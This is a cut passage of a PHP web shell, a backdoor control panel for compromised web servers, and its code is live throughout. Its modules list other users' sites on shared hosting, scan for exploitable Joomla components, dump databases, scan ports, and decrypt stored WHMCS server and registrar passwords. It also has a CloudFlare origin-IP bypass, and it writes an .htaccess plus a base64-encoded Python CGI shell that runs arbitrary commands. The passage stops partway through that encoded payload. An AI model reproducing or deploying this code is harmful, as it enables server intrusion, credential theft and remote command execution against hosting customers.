elseif ( $pilih == 'tutorial28') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/secrets_of_super_hacker.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial29') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/stealing_network_how_to_own_shadow.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial30') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/webapp_hackers_handbook.rar';
</script>
<?php
}
elseif ( $pilih == 'ddd') {
?>
<script>
document.location = 'http://199.91.153.95/t8dni7k639hg/3o321lcwwk8u5bh/Open_Source_Security_Tools.pdf';
</script>
<?php
}
elseif ( $pilih == 'tutorial31') {
?>
<script>
document.location = 'http://205.196.121.149/sg22hm8qjbhg/afsa7ibbk4ny2kd/Mobile_Malware_Attacks_and_Defense.pdf';
</script>
<?php
}
elseif ( $pilih == 'cryptography_for_defeloper') {
?>
<script>
document.location = 'http://205.196.121.248/0sod33qw66ug/wypyz555sc9bn7h/Cryptography_for_Developers.pdf';
</script>
<?php
}
elseif ( $pilih == 'forensic') {
?>
<script>
document.location = 'http://205.196.120.85/uisebgmioyjg/6l70l00ba9yoksq/CD_and_DVD_Forensics.pdf';
</script>
<?php
}
elseif ( $pilih == 'metasploit') {
?>
<script>
document.location = 'http://199.91.153.192/3t115p2f6gvg/zvrrddmq6icqtd2/Metasploit_Toolkit.pdf';
</script>
<?php
}elseif ( $pilih == 'stealing_network') {
?>
<script>
document.location = 'http://205.196.123.138/wbsxltb8rbtg/5vm8a1d23i9zje3/Stealing_the_Network_-_How_to_Own_the_Box.pdf';
</script>
<?php
}elseif ( $pilih == 'security_polices') {
?>
<script>
document.location = 'http://199.91.153.73/6le01f562ehg/6l5ep021dhvlhlq/Creating_Security_Policies_and_Implementing_Identity_Management_with_Active_Directory.pdf';
</script>
<?php
}
}
}
////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'cms_detect'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=cms_detect" method="post">
<br><br><br><br><center><b><font size=4>+--=[ CMS Detector ]=--+</font></b></center><br><br>
<?php
if(!file_exists('pee.tmp')){
@fopen('pee.tmp', 'w');
echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table>';
$p = 0;
if(is_readable("/var/named")){
$list = scandir("/var/named");
$current_dir = posix_getcwd();
$dir = explode("/",$current_dir);
foreach($list as $domain){
if(strpos($domain,".db"))
{
$domain = str_replace('.db','',$domain);
$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
error_reporting(0);
$link = $pageURL.'pee/'.$owner['name'];
cms_add($link,$domain,$owner['name'],"WordPress");
cms_add($link,$domain,$owner['name'],"Joomla");
cms_add($link,$domain,$owner['name'],"vBulletin");
cms_add($link,$domain,$owner['name'],"WHMCS");
cms_add($link,$domain,$owner['name'],"PhpBB");
cms_add($link,$domain,$owner['name'],"MyBB");
cms_add($link,$domain,$owner['name'],"IPB");
cms_add($link,$domain,$owner['name'],"SMF");
cms_add($link,$domain,$owner['name'],"Drupal");
cms_add($link,$domain,$owner['name'],"e107");
cms_add($link,$domain,$owner['name'],"Seditio");
cms_add($link,$domain,$owner['name'],"osCommerce");
}
}
}
}else{
echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table><br><br>';
$content = file_get_contents($pageURL.'pee.tmp');
echo $content;
}
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'jss'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jss" method="post">
<?php
echo '
<br><br><br><p align="center"><b><font size="3">Enter Targeting IP</font></b></p><br>
<form method="POST">
<p align="center"><input type="text" class="inputz" name="site" size="65"><input class="inputzbut" type="submit" value="Scan"></p>
</form><center>
';
@set_time_limit(0);
@error_reporting(E_ALL | E_NOTICE);
function check_exploit($comxx){
$link ="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$comxx&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=";
$result = @file_get_contents($link);
if (eregi("No results",$result)) {
echo"<td>Not Found</td><td><a href='http://www.google.com/#hl=en&q=download+$comxx+joomla+extension'>Download</a></td></tr>";
}else{
echo"<td><a href='$link'>Found</a></td><td><=</td></tr>";
}
}
function check_com($url){
$source = @file_get_contents($url);
preg_match_all('{option,(.*?)/}i',$source,$f);
preg_match_all('{option=(.*?)(&|&|")}i',$source,$f2);
preg_match_all('{/components/(.*?)/}i',$source,$f3);
$arz=array_merge($f2[1],$f[1],$f3[1]);
$coms=array();
foreach(array_unique($arz) as $x){
$coms[]=$x;
}
foreach($coms as $comm){
echo "<tr><td>$comm</td>";
check_exploit($comm);
}
}
function sec($site){
preg_match_all('{http://(.*?)(/index.php)}siU',$site, $sites);
if(eregi("www",$sites[0][0])){
return $site=str_replace("index.php","",$sites[0][0]);
}else{
return $site=str_replace("http://","http://www.",str_replace("index.php","",$sites[0][0]));
}}
$npages = 50000;
if ($_POST)
{
$ip = trim(strip_tags($_POST['site']));
$npage = 1;
$allLinks = array();
while($npage <= $npages)
{
$x=@file_get_contents('http://www.bing.com/search?q=ip%3A' . $ip . '+index.php?option=com&first=' . $npage);
if ($x)
{
preg_match_all('(<div class="sb_tlst">.*<h3>.*<a href="(.*)".*>(.*)</a>.*</h3>.*</div>siU', $x, $findlink);
foreach ($findlink[1] as $fl)
$allLinks[]=sec($fl);
$npage = $npage + 10;
if (preg_match('(first=' . $npage . '&)siU', $x, $linksuiv) == 0)
break;
}
else
break;
}
$allDmns = array();
foreach ($allLinks as $kk => $vv){
$allDmns[] = $vv;
}
echo'<table border="1" width=\"80%\" align=\"center\">
<tr><td width=\"30%\"><b>Server IP : </b></td><td><font color="red"><b>'.$ip.'</b></font></td></tr>
<tr><td width=\"30%\"><b>Sites Found : </b></td><td><b>'.count(array_unique($allDmns)).'</b></td></tr>
</table>';
echo "<br><br>";
echo'<table border="1" width="80%" align=\"center\">';
foreach(array_unique($allDmns) as $h3h3){
echo'<tr id=new><td><b><a href='.$h3h3.'>'.$h3h3.'</a></b></td><td><b>Exploit-db</b></td><td><b>challenge of Exploiting ..!</b></td></tr>';
check_com($h3h3);
}
echo"</table>";
}
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'dump'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=dump" method="post">
<?php
echo $head.'<p align="center">';
echo '
<table width=371 class=tabnet >
<tr><th colspan="2">Database Dump</th></tr>
<tr>
<td>Server </td>
<td><input class="inputz" type=text name=server size=52></td></tr><tr>
<td>Username</td>
<td><input class="inputz" type=text name=username size=52></td></tr><tr>
<td>Password</td>
<td><input class="inputz" type=text name=password size=52></td></tr><tr>
<td>DataBase Name</td>
<td><input class="inputz" type=text name=dbname size=52></td></tr>
<tr>
<td>DB Type </td>
<td><form method=post action="'.$me.'">
<select class="inputz" name=method>
<option value="gzip">Gzip</option>
<option value="sql">Sql</option>
</select>
<input class="inputzbut" type=submit value=" Dump! " ></td></tr>
</form></center></table>';
if ($_POST['username'] && $_POST['dbname'] && $_POST['method']){
$date = date("Y-m-d");
$dbserver = $_POST['server'];
$dbuser = $_POST['username'];
$dbpass = $_POST['password'];
$dbname = $_POST['dbname'];
$file = "Dump-$dbname-$date";
$method = $_POST['method'];
if ($method=='sql'){
$file="Dump-$dbname-$date.sql";
$fp=fopen($file,"w");
}else{
$file="Dump-$dbname-$date.sql.gz";
$fp = gzopen($file,"w");
}
function write($data) {
global $fp;
if ($_POST['method']=='ssql'){
fwrite($fp,$data);
}else{
gzwrite($fp, $data);
}}
mysql_connect ($dbserver, $dbuser, $dbpass);
mysql_select_db($dbname);
$tables = mysql_query ("SHOW TABLES");
while ($i = mysql_fetch_array($tables)) {
$i = $i['Tables_in_'.$dbname];
$create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
write($create['Create Table'].";
");
$sql = mysql_query ("SELECT * FROM ".$i);
if (mysql_num_rows($sql)) {
while ($row = mysql_fetch_row($sql)) {
foreach ($row as $j => $k) {
$row[$j] = "'".mysql_escape_string($k)."'";
}
write("INSERT INTO $i VALUES(".implode(",", $row).");
");
}
}
}
if ($method=='ssql'){
fclose ($fp);
}else{
gzclose($fp);}
header("Content-Disposition: attachment; filename=" . $file);
header("Content-Type: application/download");
header("Content-Length: " . filesize($file));
flush();
$fp = fopen($file, "r");
while (!feof($fp))
{
echo fread($fp, 65536);
flush();
}
fclose($fp);
}
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'port-sc'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=port-sc" method="post">
<?php
echo '<br><br><center><br><b>+--=[ Port Scanner ]=--+</b><br>';
$start = strip_tags($_POST['start']);
$end = strip_tags($_POST['end']);
$host = strip_tags($_POST['host']);
if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
for($i = $start; $i<=$end; $i++){
$fp = @fsockopen($host, $i, $errno, $errstr, 3);
if($fp){
echo 'Port '.$i.' is <font color=green>open</font><br>';
}
flush();
}
}else{
echo '<table class=tabnet style="width:300px;padding:0 1px;">
<input type="hidden" name="y" value="phptools">
<tr><th colspan="5">Port Scanner</th></center></tr>
<tr>
<td>Host</td>
<td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="host" value="localhost"/></td>
</tr>
<tr>
<td>Port start</td>
<td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="start" value="0"/></td>
</tr>
<tr><td>Port end</td>
<td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="end" value="5000"/></td>
</tr><td><input class="inputzbut" type="submit" style="color:#00ff00" value="Scan Ports" />
</td></form></center></table>';
}
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'hash'))
{
$submit= $_POST['enter'];
if (isset($submit)) {
$pass = $_POST['password']; // password
$salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random string
$hash = md5($pass); // md5 hash #1
$md4 = hash("md4",$pass);
$hash_md5 = md5($salt.$pass); // md5 hash with salt #2
$hash_md5_double = md5(sha1($salt.$pass)); // md5 hash with salt & sha1 #3
$hash1 = sha1($pass); // sha1 hash #4
$sha256 = hash("sha256",$text);
$hash1_sha1 = sha1($salt.$pass); // sha1 hash with salt #5
$hash1_sha1_double = sha1(md5($salt.$pass)); // sha1 hash with salt & md5 #6
}
echo '<form action="" method="post"><b><table class=tabnet>';
echo '<tr><th colspan="2">Password Hash</th></center></tr>';
echo '<tr><td><b>masukan kata yang ingin di encrypt:</b></td>';
echo '<td><input class="inputz" type="text" name="password" size="40" />';
echo '<input class="inputzbut" type="submit" name="enter" value="hash" />';
echo '</td></tr><br>';
echo '<tr><th colspan="2">Hasil Hash</th></center></tr>';
echo '<tr><td>Original Password</td><td><input class=inputz type=text size=50 value='.$pass.'></td></tr><br><br>';
echo '<tr><td>MD5</td><td><input class=inputz type=text size=50 value='.$hash.'></td></tr><br><br>';
echo '<tr><td>MD4</td><td><input class=inputz type=text size=50 value='.$md4.'></td></tr><br><br>';
echo '<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value='.$hash_md5.'></td></tr><br><br>';
echo '<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value='.$hash_md5_double.'></td></tr><br><br>';
echo '<tr><td>Sha1</td><td><input class=inputz type=text size=50 value='.$hash1.'></td></tr><br><br>';
echo '<tr><td>Sha256</td><td><input class=inputz type=text size=50 value='.$sha256.'></td></tr><br><br>';
echo '<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value='.$hash1_sha1.'></td></tr><br><br>';
echo '<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value='.$hash1_sha1_double.'></td></tr><br><br></table>';
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'whmcs'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=whmcs" method="post">
<?php
function decrypt ($string,$cc_encryption_hash)
{
$key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
$hash_key = _hash ($key);
$hash_length = strlen ($hash_key);
$string = base64_decode ($string);
$tmp_iv = substr ($string, 0, $hash_length);
$string = substr ($string, $hash_length, strlen ($string) - $hash_length);
$iv = $out = '';
$c = 0;
while ($c < $hash_length)
{
$iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
++$c;
}
$key = $iv;
$c = 0;
while ($c < strlen ($string))
{
if (($c != 0 AND $c % $hash_length == 0))
{
$key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
}
$out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
++$c;
}
return $out;
}
function _hash ($string)
{
if (function_exists ('sha1'))
{
$hash = sha1 ($string);
}
else
{
$hash = md5 ($string);
}
$out = '';
$c = 0;
while ($c < strlen ($hash))
{
$out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
$c += 2;
}
return $out;
}
echo "
<br><center><font size='5' color='#00ff00'><b>-=[ WHMCS Decoder ]=-</b></font></center>
<center>
<br>
<FORM action='' method='post'>
<input type='hidden' name='form_action' value='2'>
<br>
<table class=tabnet style=width:320px;padding:0 1px;>
<tr><th colspan=2>WHMCS Decoder</th></tr>
<tr><td>db_host </td><td><input type='text' style='color:#00ff00;background-color:' class='inputz' size='38' name='db_host' value='localhost'></td></tr>
<tr><td>db_username </td><td><input type='text' style='color:#00ff00;background-color:' class='inputz' size='38' name='db_username' value=''></td></tr>
<tr><td>db_password</td><td><input type='text' style='color:#00ff00;background-color:' class='inputz' size='38' name='db_password' value=''></td></tr>
<tr><td>db_name</td><td><input type='text' style='color:#00ff00;background-color:' class='inputz' size='38' name='db_name' value=''></td></tr>
<tr><td>cc_encryption_hash</td><td><input style='color:#00ff00;background-color:' type='text' class='inputz' size='38' name='cc_encryption_hash' value=''></td></tr>
<td> <INPUT class='inputzbut' type='submit' style='color:#00ff00;background-color:' value='Submit' name='Submit'></td>
</table>
</FORM>
</center>
";
if($_POST['form_action'] == 2 )
{
//include($file);
$db_host=($_POST['db_host']);
$db_username=($_POST['db_username']);
$db_password=($_POST['db_password']);
$db_name=($_POST['db_name']);
$cc_encryption_hash=($_POST['cc_encryption_hash']);
$link=mysql_connect($db_host,$db_username,$db_password) ;
mysql_select_db($db_name,$link) ;
$query = mysql_query("SELECT * FROM tblservers");
while($v = mysql_fetch_array($query)) {
$ipaddress = $v['ipaddress'];
$username = $v['username'];
$type = $v['type'];
$active = $v['active'];
$hostname = $v['hostname'];
echo("<center><table border='1'>");
$password = decrypt ($v['password'], $cc_encryption_hash);
echo("<tr><td>Type</td><td>$type</td></tr>");
echo("<tr><td>Active</td><td>$active</td></tr>");
echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
echo("<tr><td>Username</td><td>$username</td></tr>");
echo("<tr><td>Password</td><td>$password</td></tr>");
echo "</table><br><br></center>";
}
$link=mysql_connect($db_host,$db_username,$db_password) ;
mysql_select_db($db_name,$link) ;
$query = mysql_query("SELECT * FROM tblregistrars");
echo("<center>Domain Reseller <br><table class=tabnet border='1'>");
echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
while($v = mysql_fetch_array($query)) {
$registrar = $v['registrar'];
$setting = $v['setting'];
$value = decrypt ($v['value'], $cc_encryption_hash);
if ($value=="") {
$value=0;
}
$password = decrypt ($v['password'], $cc_encryption_hash);
echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
}
}
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'bypass-cf'))
{
echo '
<form method="POST"><br><br>
<center><p align="center" dir="ltr"><b><font size="5" face="Tahoma">+--=[ Bypass
<font color="#CC0000">CloudFlare</font> ]=--+</font></b></p>
<select class="inputz" name="krz">
<option>ftp</option>
<option>direct-conntect</option>
<option>webmail</option>
<option>cpanel</option>
</select>
<input class="inputz" type="text" name="target" value="url">
<input class="inputzbut" type="submit" value="Bypass"></center>
';
$target = $_POST['target'];
# Bypass From FTP
if($_POST['krz'] == "ftp") {
$ftp = gethostbyname("ftp."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$ftp</font></p>";
}
# Bypass From Direct-Connect
if($_POST['krz'] == "direct-conntect") {
$direct = gethostbyname("direct-connect."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$direct</font></p>";
}
# Bypass From Webmail
if($_POST['krz'] == "webmail") {
$web = gethostbyname("webmail."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$web</font></p>";
}
# Bypass From Cpanel
if($_POST['krz'] == "cpanel") {
$cpanel = gethostbyname("cpanel."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$cpanel</font></p>";
}
}
//////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'hashid')) {
if(isset($_POST['gethash'])){
$hash = $_POST['hash'];
if(strlen($hash)==32){
$hashresult = "MD5 Hash";
}elseif(strlen($hash)==40){
$hashresult = "SHA-1 Hash/ /MySQL5 Hash";
}elseif(strlen($hash)==13){
$hashresult = "DES(Unix) Hash";
}elseif(strlen($hash)==16){
$hashresult = "MySQL Hash / /DES(Oracle Hash)";
}elseif(strlen($hash)==41){
$GetHashChar = substr($hash, 40);
if($GetHashChar == "*"){
$hashresult = "MySQL5 Hash";
}
}elseif(strlen($hash)==64){
$hashresult = "SHA-256 Hash";
}elseif(strlen($hash)==96){
$hashresult = "SHA-384 Hash";
}elseif(strlen($hash)==128){
$hashresult = "SHA-512 Hash";
}elseif(strlen($hash)==34){
if(strstr($hash, '$1$')){
$hashresult = "MD5(Unix) Hash";
}
}elseif(strlen($hash)==37){
if(strstr($hash, '$apr1$')){
$hashresult = "MD5(APR) Hash";
}
}elseif(strlen($hash)==34){
if(strstr($hash, '$H$')){
$hashresult = "MD5(phpBB3) Hash";
}
}elseif(strlen($hash)==34){
if(strstr($hash, '$P$')){
$hashresult = "MD5(Wordpress) Hash";
}
}elseif(strlen($hash)==39){
if(strstr($hash, '$5$')){
$hashresult = "SHA-256(Unix) Hash";
}
}elseif(strlen($hash)==39){
if(strstr($hash, '$6$')){
$hashresult = "SHA-512(Unix) Hash";
}
}elseif(strlen($hash)==24){
if(strstr($hash, '==')){
$hashresult = "MD5(Base-64) Hash";
}
}else{
$hashresult = "Hash type not found";
}
}else{
$hashresult = "Not Hash Entered";
}
?>
<center><br><Br><br>
<form action="" method="POST">
<tr>
<table class="tabnet">
<th colspan="5">Hash Identification</th>
<tr class="optionstr"><B><td>Enter Hash</td></b><td>:</td> <td><input type="text" name="hash" size='60' class="inputz" /></td><td><input type="submit" class="inputzbut" name="gethash" value="Identify Hash" /></td></tr>
<tr class="optionstr"><b><td>Result</td><td>:</td><td><?php echo $hashresult; ?></td></tr></b>
</table></tr></form>
</center>
<?php
}
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'python')) {
echo "<center/><br/><b>
+--==[ python Bypass Exploit ]==--+
</b><br><br>";
mkdir('python', 0755);
chdir('python');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
$metin = "AddHandler cgi-script .izo";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$pythonp = 'IyEvdXNyL2Jpbi9weXRob24KIyAwNy0wNy0wNAojIHYxLjAuMAoKIyBjZ2ktc2hlbGwucHkKIyBB
IHNpbXBsZSBDR0kgdGhhdCBleGVjdXRlcyBhcmJpdHJhcnkgc2hlbGwgY29tbWFuZHMuCgoKIyBD
b3B5cmlnaHQgTWljaGFlbCBGb29yZAojIFlvdSBhcmUgZnJlZSB0byBtb2RpZnksIHVzZSBhbmQg
cmVsaWNlbnNlIHRoaXMgY29kZS4KCiMgTm8gd2FycmFudHkgZXhwcmVzcyBvciBpbXBsaWVkIGZv
ciB0aGUgYWNjdXJhY3ksIGZpdG5lc3MgdG8gcHVycG9zZSBvciBvdGhlcndpc2UgZm9yIHRoaXMg
Y29kZS4uLi4KIyBVc2UgYXQgeW91ciBvd24gcmlzayAhISEKCiMgRS1tYWlsIG1pY2hhZWwgQVQg
Zm9vcmQgRE9UIG1lIERPVCB1awojIE1haW50YWluZWQgYXQgd3d3LnZvaWRzcGFjZS5vcmcudWsv
YXRsYW50aWJvdHMvcHl0aG9udXRpbHMuaHRtbAoKIiIiCkEgc2ltcGxlIENHSSBzY3JpcHQgdG8g
ZXhlY3V0ZSBzaGVsbCBjb21tYW5kcyB2aWEgQ0dJLgoiIiIKIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIEltcG9ydHMKdHJ5
OgogICAgaW1wb3J0IGNnaXRiOyBjZ2l0Yi5lbmFibGUoKQpleGNlcHQ6CiAgICBwYXNzCmltcG9y
dCBzeXMsIGNnaSwgb3MKc3lzLnN0ZGVyciA9IHN5cy5zdGRvdXQKZnJvbSB0aW1lIGltcG9ydCBz
dHJmdGltZQppbXBvcnQgdHJhY2ViYWNrCmZyb20gU3RyaW5nSU8gaW1wb3J0IFN0cmluZ0lPCmZy
b20gdHJhY2ViYWNrIGltcG9ydCBwcmludF9leGMKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBjb25zdGFudHMKCmZvbnRs
aW5lID0gJzxGT05UIENPTE9SPSM0MjQyNDIgc3R5bGU9ImZvbnQtZmFtaWx5OnRpbWVzO2ZvbnQt
c2l6ZToxMnB0OyI+Jwp2ZXJzaW9uc3RyaW5nID0gJ1ZlcnNpb24gMS4wLjAgN3RoIEp1bHkgMjAw
NCcKCmlmIG9zLmVudmlyb24uaGFzX2tleSgiU0NSSVBUX05BTUUiKToKICAgIHNjcmlwdG5hbWUg
PSBvcy5lbnZpcm9uWyJTQ1JJUFRfTkFNRSJdCmVsc2U6CiAgICBzY3JpcHRuYW1lID0gIiIKCk1F
VEhPRCA9ICciUE9TVCInCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgUHJpdmF0ZSBmdW5jdGlvbnMgYW5kIHZhcmlhYmxl
cwoKZGVmIGdldGZvcm0odmFsdWVsaXN0LCB0aGVmb3JtLCBub3RwcmVzZW50PScnKToKICAgICIi
IlRoaXMgZnVuY3Rpb24sIGdpdmVuIGEgQ0dJIGZvcm0sIGV4dHJhY3RzIHRoZSBkYXRhIGZyb20g
aXQsIGJhc2VkIG9uCiAgICB2YWx1ZWxpc3QgcGFzc2VkIGluLiBBbnkgbm9uLXByZXNlbnQgdmFs
dWVzIGFyZSBzZXQgdG8gJycgLSBhbHRob3VnaCB0aGlzIGNhbiBiZSBjaGFuZ2VkLgogICAgKGUu
Zy4gdG8gcmV0dXJuIE5vbmUgc28geW91IGNhbiB0ZXN0IGZvciBtaXNzaW5nIGtleXdvcmRzIC0g
d2hlcmUgJycgaXMgYSB2YWxpZCBhbnN3ZXIgYnV0IHRvIGhhdmUgdGhlIGZpZWxkIG1pc3Npbmcg
aXNuJ3QuKSIiIgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdmFsdWVsaXN0OgogICAg
ICAgIGlmIG5vdCB0aGVmb3JtLmhhc19rZXkoZmllbGQpOgogICAgICAgICAgICBkYXRhW2ZpZWxk
XSA9IG5vdHByZXNlbnQKICAgICAgICBlbHNlOgogICAgICAgICAgICBpZiAgdHlwZSh0aGVmb3Jt
W2ZpZWxkXSkgIT0gdHlwZShbXSk6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZv
cm1bZmllbGRdLnZhbHVlCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB2YWx1ZXMg
PSBtYXAobGFtYmRhIHg6IHgudmFsdWUsIHRoZWZvcm1bZmllbGRdKSAgICAgIyBhbGxvd3MgZm9y
IGxpc3QgdHlwZSB2YWx1ZXMKICAgICAgICAgICAgICAgIGRhdGFbZmllbGRdID0gdmFsdWVzCiAg
ICByZXR1cm4gZGF0YQoKCnRoZWZvcm1oZWFkID0gIiIiPEhUTUw+PEhFQUQ+PFRJVExFPmNnaS1z
aGVsbC5weSAtIGEgQ0dJIGJ5IEZ1enp5bWFuPC9USVRMRT48L0hFQUQ+CjxCT0RZPjxDRU5URVI+
CjxIMT5XZWxjb21lIHRvIGNnaS1zaGVsbC5weSAtIDxCUj5hIFB5dGhvbiBDR0k8L0gxPgo8Qj48
ST5CeSBGdXp6eW1hbjwvQj48L0k+PEJSPgoiIiIrZm9udGxpbmUgKyJWZXJzaW9uIDogIiArIHZl
cnNpb25zdHJpbmcgKyAiIiIsIFJ1bm5pbmcgb24gOiAiIiIgKyBzdHJmdGltZSgnJUk6JU0gJXAs
ICVBICVkICVCLCAlWScpKycuPC9DRU5URVI+PEJSPicKCnRoZWZvcm0gPSAiIiI8SDI+RW50ZXIg
Q29tbWFuZDwvSDI+CjxGT1JNIE1FVEhPRD1cIiIiIiArIE1FVEhPRCArICciIGFjdGlvbj0iJyAr
IHNjcmlwdG5hbWUgKyAiIiJcIj4KPGlucHV0IG5hbWU9Y21kIHR5cGU9dGV4dD48QlI+CjxpbnB1
dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iU3VibWl0Ij48QlI+CjwvRk9STT48QlI+PEJSPiIiIgpib2R5
ZW5kID0gJzwvQk9EWT48L0hUTUw+JwplcnJvcm1lc3MgPSAnPENFTlRFUj48SDI+U29tZXRoaW5n
IFdlbnQgV3Jvbmc8L0gyPjxCUj48UFJFPicKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBtYWluIGJvZHkgb2YgdGhlIHNj
cmlwdAoKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIHByaW50ICJDb250ZW50LXR5cGU6
IHRleHQvaHRtbCIgICAgICAgICAjIHRoaXMgaXMgdGhlIGhlYWRlciB0byB0aGUgc2VydmVyCiAg
ICBwcmludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBzbyBpcyB0aGlzIGJs
YW5rIGxpbmUKICAgIGZvcm0gPSBjZ2kuRmllbGRTdG9yYWdlKCkKICAgIGRhdGEgPSBnZXRmb3Jt
KFsnY21kJ10sZm9ybSkKICAgIHRoZWNtZCA9IGRhdGFbJ2NtZCddCiAgICBwcmludCB0aGVmb3Jt
aGVhZAogICAgcHJpbnQgdGhlZm9ybQogICAgaWYgdGhlY21kOgogICAgICAgIHByaW50ICc8SFI+
PEJSPjxCUj4nCiAgICAgICAgcHJpbnQgJzxCPkNvbW1hbmQgOiAnLCB0aGVjbWQsICc8QlI+PEJS
PicKICAgICAgICBwcmludCAnUmVzdWx0IDogPEJSPjxCUj4nCiAgICAgICAgdHJ5OgogICAgICAg
ICAgICBjaGlsZF9zdGRpbiwgY2hpbGRfc3Rkb3V0ID0gb3MucG9wZW4yKHRoZWNtZCkKICAgICAg
ICAgICAgY2hpbGRfc3RkaW4uY2xvc2UoKQogICAgICAgICAgICByZXN1bHQgPSBjaGlsZF9zdGRv
dXQucmVhZCgpCiAgICAgICAgICAgIGNoaWxkX3N0ZG91dC5jbG9zZSgpCiAgICAgICAgICAgIHBy
aW50IHJlc3VsdC5yZXBsYWNlKCdcbicsICc8QlI+JykKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlv
biwgZTogICAgICAgICAgICAgICAgICAgICAgIyBhbiBlcnJvciBpbiBleGVjdXRpbmcgdGhlIGNv
bW1hbmQKICAgICAgICAgICAgcHJpbnQgZXJyb3JtZXNzCiAgICAgICAgICAgIGYgPSBTdHJpbmdJ
TygpCiAgICAgICAgICAgIHByaW50X2V4YyhmaWxlPWYpCiAgICAgICAgICAgIGEgPSBmLmdldHZh
bHVlKCkuc3BsaXRsaW5lcygpCiAgICAgICAgICAgIGZvciBsaW5lIGluIGE6CiAgICAgICAgICAg
ICAgICBwcmludCBsaW5lCgogICAgcHJpbnQgYm9keWVuZAoKCiIiIgpUT0RPL0lTU1VFUwoKCgpD
SEFOR0VMT0cKCjA3LTA3LTA0ICAgICAgICBWZXJzaW9uIDEuMC4wCkEgdmVyeSBiYXNpYyBzeXN0
ZW0gZm9yIGV4ZWN1dGluZyBzaGVsbCBjb21tYW5kcy4KSSBtYXkgZXhwYW5kIGl0IGludG8gYSBw
